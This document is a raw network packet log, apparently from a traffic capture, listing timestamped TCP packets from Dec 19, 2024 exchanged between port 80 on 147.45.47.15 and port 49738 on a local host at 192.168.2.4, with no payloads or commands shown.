Dec 19, 2024 08:11:50.922928095 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.922967911 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.923012018 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.924042940 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.924089909 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.924094915 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.925024033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.925071001 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.925113916 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.926074028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.926116943 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.926160097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.927113056 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.927170038 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.927212954 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.928126097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.928195953 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.928277969 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.929187059 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.929239035 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.929267883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.930221081 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.930283070 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.930319071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.931248903 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.931293011 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.931348085 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.932306051 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.932347059 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.932399035 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.933340073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.933378935 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.933391094 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.934391022 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.934436083 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.934560061 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.935427904 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.935480118 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.935555935 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.936552048 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.936602116 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.936605930 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.937474012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.937542915 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.937587023 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.938517094 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.938558102 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.938627005 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.939572096 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.939666033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.939718008 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.940649033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.940691948 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.940747023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.945235014 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.945250988 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.945266962 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.945275068 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.945282936 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.945298910 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.945308924 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.945314884 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.945344925 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.946089029 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.946187019 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.946248055 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.947304010 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.947329044 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.947360992 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.948174953 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.948287964 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.948332071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.949165106 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.949215889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.949306011 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.950325012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.950370073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.950380087 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.950386047 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.950404882 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.950443983 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.950990915 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.951033115 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.951100111 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.952099085 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.952151060 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.952219963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.953097105 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.953142881 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.953227043 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.954174042 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.954293013 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.954374075 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.955176115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.955226898 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.955276966 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.956202984 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.956253052 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.956315041 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.957257032 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.957302094 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.957360029 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.958312035 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.958328009 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.958363056 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.959338903 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.959398985 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.959498882 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.960374117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.960416079 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.960458040 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.961498022 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.961633921 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.961680889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.962599039 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.962642908 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.962686062 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.963502884 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.963555098 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.963627100 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.964526892 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.964577913 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.964622021 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.965590954 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.965639114 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.965770006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.966631889 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.966671944 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.966768980 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.967641115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.967693090 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.967741013 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.968696117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.968753099 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.968794107 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.969734907 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.969847918 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.969852924 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.974026918 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.974072933 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.974081993 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.974092007 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.974108934 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.974139929 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.974441051 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.974457026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.974498034 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.112942934 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.113058090 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.113068104 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.113121986 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.113215923 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.113255978 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.114177942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.114191055 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.114228010 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.115117073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.115269899 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.115307093 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.116230011 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.116396904 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.116489887 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.117211103 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.117376089 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.117425919 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.118300915 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.118462086 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.118500948 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.119357109 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.119539022 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.119584084 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.120579958 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.120770931 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.120845079 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.121568918 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.121582031 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.121627092 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.122528076 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.122560024 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.122905016 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.123611927 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.123629093 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.123688936 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.123701096 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.123708963 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.123735905 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.125897884 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.125915051 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.125967979 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.126840115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.127150059 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.127192020 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.127981901 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.127996922 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.128043890 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.128727913 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.128741980 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.128789902 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.129817009 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.129832029 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.129873037 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.130764008 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.130918026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.131203890 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.131867886 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.132049084 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.132095098 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.132910967 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.133080959 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.133136034 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.133850098 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.134011030 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.134943962 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.134963036 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.135010958 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.135025024 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.135900021 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.136053085 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.136101961 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.136893988 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.137187958 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.137450933 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.138101101 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.138276100 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.139067888 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.139120102 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.139203072 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.139251947 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.140089035 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.140259027 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.140312910 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.141081095 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.141233921 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.141275883 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.142165899 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.142321110 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.142357111 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.142529011 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.142540932 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.142582893 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.143008947 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.143085003 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.143347025 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.143974066 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.144071102 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.144114971 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.145015001 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.145124912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.145173073 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.146070004 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.146239042 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.146287918 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.147139072 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.147211075 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.147253990 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.148308992 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.148403883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.148534060 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.149749041 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.150134087 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.150180101 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.150791883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.150847912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.151217937 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.151614904 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.151696920 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.151743889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.152333975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.152386904 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.152435064 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.152633905 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.153315067 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.153450966 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.153493881 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.154375076 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.154498100 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.154635906 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.155414104 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.155509949 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.155551910 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.156441927 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.156546116 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.156586885 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.157500982 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.157594919 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.157672882 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.158545971 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.158629894 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.158704996 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.159544945 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.159663916 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.159837008 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.159852982 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.160624027 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.160739899 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.160784006 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.161700964 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.161880970 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.161933899 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.162673950 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.162728071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.162770987 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.163702011 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.163820982 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.163865089 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.164767981 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.164844036 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.164889097 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.165800095 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.166510105 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.304018021 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.304064035 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.304105043 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.304439068 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.304610014 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.304650068 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.305510044 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.305665970 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.305707932 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.306993008 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.307009935 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.307059050 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.307554007 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.307742119 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.307821989 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.308860064 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.308875084 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.308921099 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.309781075 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.309830904 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.310210943 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.310997963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.311158895 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.311218977 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.311885118 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.311897039 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.311940908 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.312825918 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.313031912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.313071012 CET	49738	80	192.168.2.4	147.45.47.15
